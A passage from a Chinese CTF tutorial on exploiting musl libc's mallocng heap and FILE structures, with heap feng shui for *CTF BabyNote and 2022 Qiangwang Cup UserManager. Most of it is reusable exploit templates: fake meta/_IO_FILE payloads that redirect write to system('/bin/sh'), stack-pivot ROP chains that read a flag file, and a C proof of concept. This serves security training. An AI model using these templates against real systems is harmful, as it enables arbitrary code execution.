fake_group = p64(fake_meta_addr).ljust(0x28, '\x00')

fake_meta = ''
fake_meta += p64(0)  # prev
fake_meta += p64(0)  # next
fake_meta += p64(fake_group_addr)  # mem
fake_meta += p32(0)  # avail_mask
fake_meta += p32(0)  # freed_mask
last_idx = 3
freeable = 1
sizeclass = 8
maplen = 0
fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))

fake_meta_area = ('\x00' * 0xfe0 + p64(leak_secret) + fake_meta).ljust(0x2000, '\x00')

fake_node = ''
fake_node += p64(fake_name_addr)  # name_addr
fake_node += p64(fake_chunk_addr)  # content_addr
fake_node += p64(len('fake name'))  # name_size
fake_node += p64(0)  # content_size
fake_node += p64(0)  # next

对于 calloc 函数,定义如下:

void *calloc(size_t m, size_t n) {
    if (n && m > (size_t) -1 / n) {
        errno = ENOMEM;
        return 0;
    }
    n *= m;
    void *p = malloc(n);
    if (!p || (!__malloc_replaced && __malloc_allzerop(p)))
        return p;
    n = mal0_clear(p, n);
    return memset(p, 0, n);
}

#define is_allzero __malloc_allzerop

int is_allzero(void *p) {
    struct meta *g = get_meta(p);
    return g->sizeclass >= 48 ||
           get_stride(g) < UNIT * size_classes[g->sizeclass];
}

在调用完 malloc 之后如果 __malloc_replaced 为 0 则会调用 __malloc_allzerop 函数,该函数会调用 get_meta ,在 get_meta 函数中有大量检查,因此如果要用 calloc 实现任意地址 malloc 需要先将 __malloc_replaced 改为非 0 。

enframe 函数中会设置申请的 chunk 的头部信息。因此只要通过伪造 meta 使得对应字段不为 0 且该字段会覆写 __malloc_replaced 从而在第一次任意地址 malloc 修改 __malloc_replaced 为非 0 。

    *(uint16_t *) (p - 2) = (size_t) (p - g->mem->storage) / UNIT;
    p[-3] = idx;

模板如下:

malloc_replaced_addr = libc.address + 0xb6f84

fake_meta = ''
fake_meta += p64(fake_meta_addr)  # prev
fake_meta += p64(fake_meta_addr)  # next
fake_meta += p64(malloc_replaced_addr - 0x80 - 0x20 + 4)  # mem
fake_meta += p32(0b10)  # avail_mask
fake_meta += p32(0)  # freed_mask
fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))

fake_meta_area = ('\x00' * 0xfd0 + p64(leak_secret) + fake_meta).ljust(0x2000, '\x00')

堆风水

这里以 *CTF 2022 BabyNote 为例 感受一下。

图中绿色表示 Available ,红色表示 Freed ,白色表示 Inuse

这里假设 AnodeBnameCcontent ,考虑 0x30 的 active

首先构造如下堆排布:
在这里插入图片描述

释放第一个 node
在这里插入图片描述
再次创建一个 node,由于优先分配 Available 状态的 chunk 因此 AC 顺序与正常情况相反。
在这里插入图片描述
因为只有链表头不直接相连的 node 才能 uaf,因此需要先填满第二个 group
在这里插入图片描述
之后释放前面 A C 顺序相反的 node
在这里插入图片描述
再次申请一个 node 此时可以利用 uaf 泄露 libc 和 elf 基址。
在这里插入图片描述
由于相关基址已经泄露,可以通过堆风水 uaf 伪造 node 节点实现任意地址读和伪造 unlink 相关结构。
在这里插入图片描述

IO_FILE

_IO_FILE 结构体

musl 中的 _IO_FILE 结构体定义如下:

struct _IO_FILE {
    unsigned flags;
    unsigned char *rpos, *rend;
    int (*close)(FILE *);
    unsigned char *wend, *wpos;
    unsigned char *mustbezero_1;
    unsigned char *wbase;
    size_t (*read)(FILE *, unsigned char *, size_t);
    size_t (*write)(FILE *, const unsigned char *, size_t);
    off_t (*seek)(FILE *, off_t, int);
    unsigned char *buf;
    size_t buf_size;
    FILE *prev, *next;
    int fd;
    int pipe_pid;
    long lockcount;
    int mode;
    volatile int lock;
    int lbf;
    void *cookie;
    off_t off;
    char *getln_buf;
    void *mustbezero_2;
    unsigned char *shend;
    off_t shlim, shcnt;
    FILE *prev_locked, *next_locked;
    struct __locale_struct *locale;
};

其中有 4 个函数指针 closereadwriteseek 。在解题时,标准输入输出的三个FILE结构体:stdinstdoutstderr是我们利用的重点。

FSOP

exit 调用链

分析 exit 函数的调用链,发现最终会调用

FILE *volatile __stdin_used = &__stdin_FILE;
FILE *volatile __stdout_used = &__stdout_FILE;
FILE *volatile __stderr_used = &__stderr_FILE;

_Noreturn void exit(int code) {
    __funcs_on_exit();
    __libc_exit_fini();
    __stdio_exit();
    _Exit(code);
}

void __stdio_exit(void) {
    FILE *f;
    for (f = *__ofl_lock(); f; f = f->next) close_file(f);
    close_file(__stdin_used);
    close_file(__stdout_used);
    close_file(__stderr_used);
}

static void close_file(FILE *f) {
    if (!f) return;
    FFINALLOCK(f);
    if (f->wpos != f->wbase) f->write(f, 0, 0);
    if (f->rpos != f->rend) f->seek(f, f->rpos - f->rend, SEEK_CUR);
}

可以看到 close_file 中可能会调用三个 FILE 的 writeseek 函数指针。我们要修改的也正是这两个指针。在没有沙箱的情况下,只需要将 FILE 结构体开头的几个字节修改为 /bin/sh ,再修改 write 指针的值为 system ,以及修改 f->wposf->wbase 中其中之一就可以调用到 system("/bin/sh")

总结来说,就是在无沙箱时,需要修改 _IO_FILE 结构体的几个地方:

  • 起始位置写入 /bin/sh
  • f->wposf->wbase 中其中之一使得二者不等
  • write 写入 system 函数地址。
  • 最好将 lock 设置为小于 0 避免程序卡死在 __lockfile 函数中。(等于 0 貌似也可以)
        FFINALLOCK(f);
    定义:  
    #define FFINALLOCK(f) ((f)->lock >= 0 ? __lockfile((f)) : 0)
    替换:  
    ((f)->lock >= 0 ? __lockfile((f)) : 0)
    

常用模板如下:

fake_file = ""
fake_file += "/bin/sh".ljust(8, '\x00')  # flags
fake_file += p64(0)  # rpos
fake_file += p64(0)  # rend
fake_file += p64(0)  # close
fake_file += p64(0)  # wend
fake_file += p64(0x114514)  # wpos
fake_file += p64(0)  # mustbezero_1
fake_file += p64(0x1919810)  # wbase
fake_file += p64(0)  # read
fake_file += p64(libc.sym['system'])  # write
fake_file = fake_file.ljust(0x90, '\x00')  # lock = 0

对于 musl-1.2.1 及以上版本,结合相关结构的伪造,模板如下(2022强网杯UserManager):

payload_addr = libc.address - 0x6fe0
fake_file_addr = payload_addr
fake_group_addr = fake_file_addr + 0x90
fake_chunk_addr = fake_group_addr + 0x10
fake_meta_area_offset = ((payload_addr + 0xFFF) & ~0xFFF) - payload_addr
fake_meta_offset = fake_meta_area_offset + 8
fake_meta_addr = payload_addr + fake_meta_offset
stderr_used_addr = libc.address + 0xb43a0
rop_addr = fake_chunk_addr + 0x20

magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]'), executable=True).next()
pop_rdi_ret = libc.search(asm("pop rdi;ret"), executable=True).next()
pop_rsi_ret = libc.search(asm("pop rsi;ret"), executable=True).next()
pop_rdx_ret = libc.search(asm("pop rdx;ret"), executable=True).next()
pop_rax_ret = libc.search(asm("pop rax;ret"), executable=True).next()
ret = libc.search(asm("ret"), executable=True).next()
buf_addr = payload_addr

rop = ''
rop += p64(pop_rdi_ret)
rop += p64(buf_addr)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(libc.sym['open'])
rop += p64(pop_rdi_ret)
rop += p64(3)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['read'])
rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['write'])

fake_file = ""
fake_file += "./flag".ljust(8, '\x00')  # flags
fake_file += p64(0)  # rpos
fake_file += p64(0)  # rend
fake_file += p64(0)  # close
fake_file += p64(0)  # wend
fake_file += p64(0)  # wpos
fake_file += p64(rop_addr)  # mustbezero_1
fake_file += p64(ret)  # wbase
fake_file += p64(0)  # read
fake_file += p64(magic_gadget)  # write
fake_file = fake_file.ljust(0x90, '\x00')  # lock = 0

fake_group = p64(fake_meta_addr) + p64(0)

fake_meta = ''
fake_meta += p64(fake_file_addr)  # prev
fake_meta += p64(stderr_used_addr)  # next
fake_meta += p64(fake_group_addr)  # mem
fake_meta += p32(0b0000)  # avail_mask
fake_meta += p32(0b1110)  # freed_mask
last_idx = 3
freeable = 1
sizeclass = 1
maplen = 0
fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))

fake_meta_area = p64(leak_secret) + fake_meta

payload = ''
payload += fake_file
payload += fake_group
payload = payload.ljust(rop_addr - payload_addr, '\x00') # fake chunk
payload += rop
assert len(payload) <= fake_meta_area_offset
payload = payload.ljust(fake_meta_area_offset, '\x00')
payload += fake_meta_area
payload = payload.ljust(0x2000, '\x00')

fake_node = ''
fake_node += p64(4)  # id
fake_node += p64(fake_chunk_addr)  # name -> fake chunk
fake_node += p64(0x100)  # name_size
fake_node += p64(2)  # type
fake_node += p64(0xdeadbeef)  # fa
fake_node += p64(0)  # ls
fake_node += p64(0)  # rs

add(5, fake_node)
add(6, payload)

而在有沙箱保护的情况下,需要进行 orw 。

对于 musl-1.2.1 及以上版本,可以通过如下 gadget 实现栈迁移和程序流劫持。

mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]

总结来说,就是在有沙箱时,需要修改 _IO_FILE 结构体的 3 个地方:

  • f->wbase 写入第一个 gadget 地址使得 f->wposf->wbase 不等的同时能够执行到 gadget
  • write 写入刚才提到的栈迁移的 gadget
  • 偏移 0x30 处写入新的栈地址配合栈迁移 gadget 完成栈迁移
  • 此外还需要在其他地方构造好 ROP 链用于 orw

常用模板如下(2022强网杯UserManager):

payload_addr = libc.address - 0x6fe0
fake_file_addr = payload_addr
fake_group_addr = fake_file_addr + 0x90
fake_chunk_addr = fake_group_addr + 0x10
fake_meta_area_offset = ((payload_addr + 0xFFF) & ~0xFFF) - payload_addr
fake_meta_offset = fake_meta_area_offset + 8
fake_meta_addr = payload_addr + fake_meta_offset
stderr_used_addr = libc.address + 0xb43a0
rop_addr = fake_chunk_addr

magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]'), executable=True).next()
pop_rdi_ret = libc.search(asm("pop rdi;ret"), executable=True).next()
pop_rsi_ret = libc.search(asm("pop rsi;ret"), executable=True).next()
pop_rdx_ret = libc.search(asm("pop rdx;ret"), executable=True).next()
pop_rax_ret = libc.search(asm("pop rax;ret"), executable=True).next()
ret = libc.search(asm("ret"), executable=True).next()
buf_addr = payload_addr

rop = ''
rop += p64(pop_rdi_ret)
rop += p64(buf_addr)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(libc.sym['open'])
rop += p64(pop_rdi_ret)
rop += p64(3)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['read'])
rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['write'])

fake_file = ""
fake_file += "./flag".ljust(8, '\x00')  # flags
fake_file += p64(0)  # rpos
fake_file += p64(0)  # rend
fake_file += p64(0)  # close
fake_file += p64(0)  # wend
fake_file += p64(0)  # wpos
fake_file += p64(rop_addr)  # mustbezero_1
fake_file += p64(ret)  # wbase
fake_file += p64(0)  # read
fake_file += p64(magic_gadget)  # write
fake_file = fake_file.ljust(0x90, '\x00')  # lock = 0

fake_group = p64(fake_meta_addr) + p64(0)

fake_meta = ''
fake_meta += p64(fake_file_addr)  # prev
fake_meta += p64(stderr_used_addr)  # next
fake_meta += p64(fake_group_addr)  # mem
fake_meta += p32(0b0000)  # avail_mask
fake_meta += p32(0b1110)  # freed_mask
last_idx = 3
freeable = 1
sizeclass = 8
maplen = 0
fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))

fake_meta_area = p64(leak_secret) + fake_meta

payload = ''
payload += fake_file
payload += fake_group
payload += rop
assert len(payload) <= fake_meta_area_offset
payload = payload.ljust(fake_meta_area_offset, '\x00')
payload += fake_meta_area
payload = payload.ljust(0x2000, '\x00')

fake_node = ''
fake_node += p64(4)  # id
fake_node += p64(fake_chunk_addr)  # name -> fake chunk
fake_node += p64(0x100)  # name_size
fake_node += p64(2)  # type
fake_node += p64(0xdeadbeef)  # fa
fake_node += p64(0)  # ls
fake_node += p64(0)  # rs

add(5, fake_node)
add(6, payload)

poc 如下:

#include <ctype.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <assert.h>

typedef struct _IO_FILE FILE;

struct _IO_FILE {
    unsigned flags;
    unsigned char *rpos, *rend;

    int (*close)(FILE *);

    unsigned char *wend, *wpos;
    unsigned char *mustbezero_1;
    unsigned char *wbase;

    size_t (*read)(FILE *, unsigned char *, size_t);

    size_t (*write)(FILE *, const unsigned char *, size_t);

    off_t (*seek)(FILE *, off_t, int);

    unsigned char *buf;
    size_t buf_size;
    FILE *prev, *next;
    int fd;
    int pipe_pid;
    long lockcount;
    int mode;
    volatile int lock;
    int lbf;
    void *cookie;
    off_t off;
    char *getln_buf;
    void *mustbezero_2;
    unsigned char *shend;
    off_t shlim, shcnt;
    FILE *prev_locked, *next_locked;
    struct __locale_struct *locale;
};

size_t rop[0x100];

int main() {
    size_t libc_base = (size_t) system - 0x438a8;

    FILE *stderr_used = (FILE *) (libc_base + 0x295120);
    size_t magic_gadget = libc_base + 0x4a736; // mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
    size_t pop_rax_ret = libc_base + 0x1b95d;
    size_t pop_rdi_ret = libc_base + 0x14be2;
    size_t pop_rsi_ret = libc_base + 0x1b2da;
    size_t pop_rdx_ret = libc_base + 0x1aeab;
    size_t syscall_ret = libc_base + 0x237d7;
    size_t ret = libc_base + 0x1558;

    *(size_t *) &stderr_used->write = magic_gadget;
    stderr_used->wbase = (unsigned char *) ret;
    assert(stderr_used->wbase != stderr_used->wpos);
    stderr_used->mustbezero_1 = (unsigned char *) rop;

    char *buf = (char *) &rop[30];
    strcpy(buf, "./flag");

    rop[0] = pop_rdi_ret;
    rop[1] = (size_t) buf;
    rop[2] = pop_rsi_ret;
    rop[3] = 0;
    rop[4] = pop_rax_ret;
    rop[5] = 2;
    rop[6] = syscall_ret;

    rop[7] = pop_rdi_ret;
    rop[8] = 3;
    rop[9] = pop_rsi_ret;
    rop[10] = (size_t) buf;
    rop[11] = pop_rdx_ret;
    rop[12] = 0x100;
    rop[13] = pop_rax_ret;
    rop[14] = 0;
    rop[15] = syscall_ret;

    rop[16] = pop_rax_ret;
    rop[17] = 1;
    rop[18] = pop_rdi_ret;
    rop[19] = 1;
    rop[20] = pop_rsi_ret;
    rop[21] = (size_t) buf;
    rop[22] = syscall_ret;

    return 0;
}

对于 musl-1.2.1 及以下的版本,可以使用如下 gadget 。或者直接将 chunk 申请到栈上写 rop 。例如这道题目

mov rdx, [rdi+0x30]; mov rsp, rdx; mov rdx, [rdi+0x38]; jmp rdx;

puts 调用链

分析 puts 函数的调用链,发现最终会调用

int puts(const char *s) {
    int r;
    FLOCK(stdout);
    r = -(fputs(s, stdout) < 0 || putc_unlocked('\n', stdout) < 0);
    FUNLOCK(stdout);
    return r;
}

int fputs(const char *restrict s, FILE *restrict f) {
    size_t l = strlen(s);
    return (fwrite(s, 1, l, f) == l) - 1;
}

size_t fwrite(const void *restrict src, size_t size, size_t nmemb, FILE *restrict f) {
    size_t k, l = size * nmemb;
    if (!size) nmemb = 0;
    FLOCK(f);
    k = __fwritex(src, l, f);
    FUNLOCK(f);
    return k == l ? nmemb : k / size;
}

int __towrite(FILE *f) {
    ...
    if (f->flags & F_NOWR) {
        f->flags |= F_ERR;
        return EOF;
    }
    ...
    return 0;
}

size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f) {
    size_t i = 0;

    if (!f->wend && __towrite(f)) return 0;

    if (l > f->wend - f->wpos) return f->write(f, s, l);
    ...
}

常用模板如下(2022*CTF BabyNote):
get shell

fake_file = ""
fake_file += "/bin/sh".ljust(8, '\x00')  # flags
fake_file += p64(0)  # rpos
fake_file += p64(0)  # rend
fake_file += p64(0)  # close
fake_file += p64(0x114514)  # wend
fake_file += p64(0x114514)  # wpos
fake_file += p64(0)  # mustbezero_1
fake_file += p64(0x114514)  # wbase
fake_file += p64(0)  # read
fake_file += p64(libc.sym['system'])  # write
fake_file = fake_file.ljust(0x80, '\x00')

orw(musl-1.2.2)

fake_name_addr = libc.address + 0xb7990
payload_addr = libc.address - 0x6fe0
fake_file_addr = payload_addr
fake_group_addr = fake_file_addr + 0x90
fake_chunk_addr = fake_group_addr + 0x10
fake_meta_area_offset = ((payload_addr + 0xFFF) & ~0xFFF) - payload_addr
fake_meta_offset = fake_meta_area_offset + 8
fake_meta_addr = payload_addr + fake_meta_offset
stderr_used_addr = libc.address + 0xb43a0
rop_addr = fake_chunk_addr

magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]'), executable=True).next()
pop_rdi_ret = libc.search(asm("pop rdi;ret"), executable=True).next()
pop_rsi_ret = libc.search(asm("pop rsi;ret"), executable=True).next()
pop_rdx_ret = libc.search(asm("pop rdx;ret"), executable=True).next()
pop_rax_ret = libc.search(asm("pop rax;ret"), executable=True).next()
ret = libc.search(asm("ret"), executable=True).next()
buf_addr = payload_addr

rop = ''
rop += p64(pop_rdi_ret)
rop += p64(buf_addr)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(libc.sym['open'])
rop += p64(pop_rdi_ret)
rop += p64(3)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['read'])
rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['write'])

fake_file = ""
fake_file += "./flag".ljust(8, '\x00')  # flags
fake_file += p64(0)  # rpos
fake_file += p64(0)  # rend
fake_file += p64(0)  # close
fake_file += p64(0)  # wend
fake_file += p64(0)  # wpos
fake_file += p64(rop_addr)  # mustbezero_1
fake_file += p64(ret)  # wbase
fake_file += p64(0)  # read
fake_file += p64(magic_gadget)  # write
fake_file = fake_file.ljust(0x90, '\x00')  # lock = 0

fake_group = p64(fake_meta_addr) + p64(0)

fake_meta = ''
fake_meta += p64(fake_file_addr)  # prev
fake_meta += p64(stderr_used_addr)  # next
fake_meta += p64(fake_group_addr)  # mem
fake_meta += p32(0b0000)  # avail_mask
fake_meta += p32(0b1110)  # freed_mask
last_idx = 3
freeable = 1
sizeclass = 8
maplen = 0
fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))

fake_meta_area = p64(leak_secret) + fake_meta

payload = ''
payload += fake_file
payload += fake_group
payload += rop
assert len(payload) <= fake_meta_area_offset
payload = payload.ljust(fake_meta_area_offset, '\x00')
payload += fake_meta_area
payload = payload.ljust(0x2000, '\x00')

fake_node = ''
fake_node += p64(fake_name_addr)  # name_addr
fake_node += p64(fake_chunk_addr)  # content_addr
fake_node += p64(len('fake name'))  # name_size
fake_node += p64(0)  # content_size
fake_node += p64(0)  # next

add('hijack node'.ljust(0x28, '\x00'), fake_node)
add("payload", payload)
log.info("fake chunk addr: " + hex(fake_chunk_addr))
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_sky123_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值